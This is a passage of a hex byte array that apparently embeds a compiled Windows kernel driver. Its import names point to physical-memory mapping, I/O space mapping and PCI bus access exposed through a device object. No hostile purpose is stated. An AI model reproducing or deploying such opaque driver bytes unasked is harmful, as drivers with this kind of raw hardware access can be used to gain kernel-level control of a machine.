0x0E, 0x00, 0x07, 0x16, 0x00, 0x06, - 0x1D, 0x74, 0x0D, 0x00, 0x1D, 0x64, 0x0C, 0x00, 0x1D, 0x54, 0x0B, 0x00, - 0x1D, 0x34, 0x0A, 0x00, 0x1D, 0x52, 0x19, 0xF0, 0x17, 0xE0, 0x15, 0xD0, - 0x02, 0x04, 0x03, 0x00, 0x01, 0x16, 0x00, 0x06, 0x04, 0x42, 0x00, 0x00, - 0x02, 0x19, 0x0C, 0x00, 0x03, 0x16, 0x00, 0x06, 0x19, 0x74, 0x0B, 0x00, - 0x19, 0x64, 0x0A, 0x00, 0x19, 0x54, 0x09, 0x00, 0x19, 0x34, 0x08, 0x00, - 0x19, 0x52, 0x15, 0xF0, 0x02, 0x06, 0x04, 0x00, 0x08, 0x16, 0x00, 0x06, - 0x06, 0x52, 0x02, 0x30, 0x1A, 0x33, 0x0D, 0x00, 0x06, 0x16, 0x00, 0x06, - 0x22, 0x74, 0x5D, 0x00, 0x22, 0x64, 0x5C, 0x00, 0x22, 0x34, 0x5B, 0x00, - 0x22, 0x01, 0x56, 0x00, 0x14, 0xE0, 0x12, 0xC0, 0x10, 0x50, 0x00, 0x00, - 0x68, 0x1D, 0x00, 0x00, 0xA0, 0x02, 0x00, 0x00, 0x02, 0x06, 0x04, 0x00, - 0x08, 0x16, 0x1E, 0x06, 0x06, 0x32, 0x02, 0x30, 0x02, 0x0A, 0x06, 0x00, - 0x02, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x08, 0x00, 0x0A, 0x52, 0x06, 0x70, - 0x02, 0x19, 0x0C, 0x00, 0x03, 0x16, 0x00, 0x06, 0x19, 0x74, 0x0B, 0x00, - 0x19, 0x64, 0x0A, 0x00, 0x19, 0x54, 0x09, 0x00, 0x19, 0x34, 0x08, 0x00, - 0x19, 0x52, 0x15, 0xE0, 0x02, 0x19, 0x0C, 0x00, 0x03, 0x06, 0x08, 0x06, - 0x19, 0x74, 0x09, 0x00, 0x19, 0x64, 0x08, 0x00, 0x19, 0x54, 0x07, 0x00, - 0x19, 0x34, 0x06, 0x00, 0x19, 0x32, 0x15, 0xE0, 0x0A, 0x1D, 0x0A, 0x00, - 0x0C, 0x16, 0x00, 0x06, 0x1D, 0x92, 0x19, 0xF0, 0x17, 0xE0, 0x15, 0xD0, - 0x13, 0xC0, 0x11, 0x70, 0x10, 0x60, 0x0F, 0x30, 0x62, 0x1D, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0xD5, 0x14, 0x00, 0x00, 0x1C, 0x15, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x1C, 0x15, 0x00, 0x00, 0x02, 0x14, 0x0A, 0x00, - 0x02, 0x06, 0x09, 0x06, 0x14, 0x64, 0x0A, 0x00, 0x14, 0x54, 0x09, 0x00, - 0x14, 0x34, 0x08, 0x00, 0x14, 0x52, 0x10, 0x70, 0x0A, 0x00, 0x00, 0x00, - 0x62, 0x1D, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xCD, 0x19, 0x00, 0x00, - 0xE5, 0x19, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xE5, 0x19, 0x00, 0x00, - 0x0A, 0x00, 0x00, 0x00, 0x62, 0x1D, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xDB, 0x16, 0x00, 0x00, 0xF2, 0x16, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xF2, 0x16, 0x00, 0x00, 0x02, 0x0A, 0x06, 0x00, 0x02, 0x16, 0x00, 0x06, - 0x0A, 0x34, 0x06, 0x00, 0x0A, 0x32, 0x06, 0x70, 0x01, 0x00, 0x00, 0x00, - 0x02, 0x04, 0x01, 0x00, 0x04, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0xA2, 0xDF, 0x2D, - 0x99, 0x2B, 0x00, 0x00, 0xCD, 0x5D, 0x20, 0xD2, 0x66, 0xD4, 0xFF, 0xFF, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0xCC, 0x10, 0x00, 0x00, - 0x9C, 0x24, 0x00, 0x00, 0xD0, 0x10, 0x00, 0x00, 0xEF, 0x10, 0x00, 0x00, - 0x90, 0x24, 0x00, 0x00, 0xF0, 0x10, 0x00, 0x00, 0x9B, 0x12, 0x00, 0x00, - 0x70, 0x24, 0x00, 0x00, 0xA0, 0x12, 0x00, 0x00, 0xED, 0x12, 0x00, 0x00, - 0xB8, 0x24, 0x00, 0x00, 0xF0, 0x12, 0x00, 0x00, 0x62, 0x13, 0x00, 0x00, - 0x24, 0x25, 0x00, 0x00, 0x64, 0x13, 0x00, 0x00, 0xE0, 0x13, 0x00, 0x00, - 0xEC, 0x24, 0x00, 0x00, 0xE0, 0x13, 0x00, 0x00, 0x88, 0x16, 0x00, 0x00, - 0x40, 0x25, 0x00, 0x00, 0xC4, 0x16, 0x00, 0x00, 0xF9, 0x16, 0x00, 0x00, - 0xA4, 0x25, 0x00, 0x00, 0xFC, 0x16, 0x00, 0x00, 0x6A, 0x17, 0x00, 0x00, - 0xF8, 0x24, 0x00, 0x00, 0x6C, 0x17, 0x00, 0x00, 0x75, 0x18, 0x00, 0x00, - 0x08, 0x25, 0x00, 0x00, 0xFC, 0x18, 0x00, 0x00, 0xBB, 0x19, 0x00, 0x00, - 0x70, 0x25, 0x00, 0x00, 0xBC, 0x19, 0x00, 0x00, 0xEC, 0x19, 0x00, 0x00, - 0x88, 0x25, 0x00, 0x00, 0xEC, 0x19, 0x00, 0x00, 0x67, 0x1A, 0x00, 0x00, - 0xF8, 0x24, 0x00, 0x00, 0x68, 0x1A, 0x00, 0x00, 0xD1, 0x1C, 0x00, 0x00, - 0xC4, 0x24, 0x00, 0x00, 0xF0, 0x1C, 0x00, 0x00, 0x0E, 0x1D, 0x00, 0x00, - 0xD0, 0x25, 0x00, 0x00, 0x20, 0x1D, 0x00, 0x00, 0x4D, 0x1D, 0x00, 0x00, - 0xD4, 0x25, 0x00, 0x00, 0x68, 0x1D, 0x00, 0x00, 0x85, 0x1D, 0x00, 0x00, - 0x90, 0x24, 0x00, 0x00, 0x88, 0x1D, 0x00, 0x00, 0xE7, 0x1D, 0x00, 0x00, - 0x90, 0x24, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x05, 0x1E, 0x00, 0x00, - 0xE0, 0x25, 0x00, 0x00, 0x40, 0x1E, 0x00, 0x00, 0x29, 0x1F, 0x00, 0x00, - 0xE8, 0x25, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x2B, 0x50, 0x00, 0x00, - 0xC0, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, - 0xDA, 0x48, 0x8B, 0xF9, 0xE8, 0x17, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD3, - 0x48, 0x8B, 0xCF, 0xE8, 0x48, 0xCA, 0xFF, 0xFF, 0x48, 0x8B, 0x5C, 0x24, - 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x8B, 0x05, 0xCD, - 0xDF, 0xFF, 0xFF, 0x45, 0x33, 0xC9, 0x49, 0xB8, 0x32, 0xA2, 0xDF, 0x2D, - 0x99, 0x2B, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x05, 0x49, 0x3B, 0xC0, - 0x75, 0x38, 0x0F, 0x31, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x8D, 0x0D, 0xA9, - 0xDF, 0xFF, 0xFF, 0x48, 0x0B, 0xC2, 0x48, 0x33, 0xC1, 0x48, 0x89, 0x05, - 0x9C, 0xDF, 0xFF, 0xFF, 0x66, 0x44, 0x89, 0x0D, 0x9A, 0xDF, 0xFF, 0xFF, - 0x48, 0x8B, 0x05, 0x8D, 0xDF, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x0A, - 0x49, 0x8B, 0xC0, 0x48, 0x89, 0x05, 0x7E, 0xDF, 0xFF, 0xFF, 0x48, 0xF7, - 0xD0, 0x48, 0x89, 0x05, 0x7C, 0xDF, 0xFF, 0xFF, 0xC3, 0xCC, 0xCC, 0xCC, - 0xE8, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x26, 0x54, 0x00, 0x00, 0x18, 0x20, 0x00, 0x00, 0xD0, 0x50, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x54, 0x00, 0x00, - 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x4C, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x34, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF2, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1A, 0x52, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x2E, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x52, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x6C, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x8A, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAA, 0x52, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xCC, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xEA, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xE8, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x3C, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x5E, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x6E, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x96, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xAE, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xD8, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xE4, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x16, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xDC, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x53, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xD0, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x0B, 0x77, 0x63, - 0x73, 0x63, 0x70, 0x79, 0x5F, 0x73, 0x00, 0x00, 0x3B, 0x0B, 0x77, 0x63, - 0x73, 0x6E, 0x63, 0x61, 0x74, 0x5F, 0x73, 0x00, 0x3C, 0x0B, 0x77, 0x63, - 0x73, 0x6E, 0x63, 0x6D, 0x70, 0x00, 0xFC, 0x07, 0x52, 0x74, 0x6C, 0x49, - 0x6E, 0x69, 0x74, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, 0x53, 0x74, - 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0xEC, 0x07, 0x52, 0x74, 0x6C, 0x47, - 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x00, 0x1F, 0x04, - 0x4B, 0x65, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, - 0x4D, 0x75, 0x74, 0x65, 0x78, 0x00, 0x7A, 0x04, 0x4B, 0x65, 0x52, 0x65, - 0x6C, 0x65, 0x61, 0x73, 0x65, 0x4D, 0x75, 0x74, 0x65, 0x78, 0x00, 0x00, - 0xC5, 0x04, 0x4B, 0x65, 0x57, 0x61, 0x69, 0x74, 0x46, 0x6F, 0x72, 0x53, - 0x69, 0x6E, 0x67, 0x6C, 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, - 0xEC, 0x00, 0x45, 0x78, 0x51, 0x75, 0x65, 0x72, 0x79, 0x44, 0x65, 0x70, - 0x74, 0x68, 0x53, 0x4C, 0x69, 0x73, 0x74, 0x00, 0x53, 0x01, 0x45, 0x78, - 0x70, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x6C, 0x6F, 0x63, 0x6B, 0x65, 0x64, - 0x50, 0x6F, 0x70, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x53, 0x4C, 0x69, 0x73, - 0x74, 0x00, 0x54, 0x01, 0x45, 0x78, 0x70, 0x49, 0x6E, 0x74, 0x65, 0x72, - 0x6C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x75, 0x73, 0x68, 0x45, 0x6E, - 0x74, 0x72, 0x79, 0x53, 0x4C, 0x69, 0x73, 0x74, 0x00, 0x00, 0xD1, 0x00, - 0x45, 0x78, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, - 0x4E, 0x50, 0x61, 0x67, 0x65, 0x64, 0x4C, 0x6F, 0x6F, 0x6B, 0x61, 0x73, - 0x69, 0x64, 0x65, 0x4C, 0x69, 0x73, 0x74, 0x00, 0xAC, 0x00, 0x45, 0x78, - 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x4E, 0x50, 0x61, 0x67, 0x65, 0x64, - 0x4C, 0x6F, 0x6F, 0x6B, 0x61, 0x73, 0x69, 0x64, 0x65, 0x4C, 0x69, 0x73, - 0x74, 0x00, 0xF9, 0x04, 0x4D, 0x6D, 0x42, 0x75, 0x69, 0x6C, 0x64, 0x4D, - 0x64, 0x6C, 0x46, 0x6F, 0x72, 0x4E, 0x6F, 0x6E, 0x50, 0x61, 0x67, 0x65, - 0x64, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x28, 0x05, 0x4D, 0x6D, 0x4D, 0x61, - 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, - 0x53, 0x70, 0x65, 0x63, 0x69, 0x66, 0x79, 0x43, 0x61, 0x63, 0x68, 0x65, - 0x00, 0x00, 0x52, 0x05, 0x4D, 0x6D, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x4C, - 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, 0x00, 0x00, - 0x25, 0x05, 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, - 0x63, 0x65, 0x00, 0x00, 0x51, 0x05, 0x4D, 0x6D, 0x55, 0x6E, 0x6D, 0x61, - 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0x6B, 0x02, - 0x49, 0x6F, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x4D, 0x64, - 0x6C, 0x00, 0xAA, 0x03, 0x49, 0x6F, 0x66, 0x43, 0x6F, 0x6D, 0x70, 0x6C, - 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, - 0x93, 0x02, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, - 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0x9E, 0x02, 0x49, 0x6F, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, - 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0xAA, 0x02, 0x49, 0x6F, 0x44, 0x65, - 0x6C, 0x65, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, - 0xAC, 0x02, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x53, 0x79, - 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, - 0xBF, 0x02, 0x49, 0x6F, 0x46, 0x72, 0x65, 0x65, 0x4D, 0x64, 0x6C, 0x00, - 0xED, 0x02, 0x49, 0x6F, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x6F, 0x72, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x49, - 0x64, 0x00, 0xBB, 0x0A, 0x5F, 0x5F, 0x43, 0x5F, 0x73, 0x70, 0x65, 0x63, - 0x69, 0x66, 0x69, 0x63, 0x5F, 0x68, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, - 0x00, 0x00, 0xD9, 0x03, 0x4B, 0x65, 0x42, 0x75, 0x67, 0x43, 0x68, 0x65, - 0x63, 0x6B, 0x45, 0x78, 0x00, 0x00, 0x6E, 0x74, 0x6F, 0x73, 0x6B, 0x72, - 0x6E, 0x6C, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x19, 0x00, 0x48, 0x61, - 0x6C, 0x47, 0x65, 0x74, 0x42, 0x75, 0x73, 0x44, 0x61, 0x74, 0x61, 0x42, - 0x79, 0x4F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x00, 0x3D, 0x00, 0x48, 0x61, - 0x6C, 0x53, 0x65, 0x74, 0x42, 0x75, 0x73, 0x44, 0x61, 0x74, 0x61, 0x42, - 0x79, 0x4F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x00, 0x48, 0x41, 0x4C, 0x2E, - 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 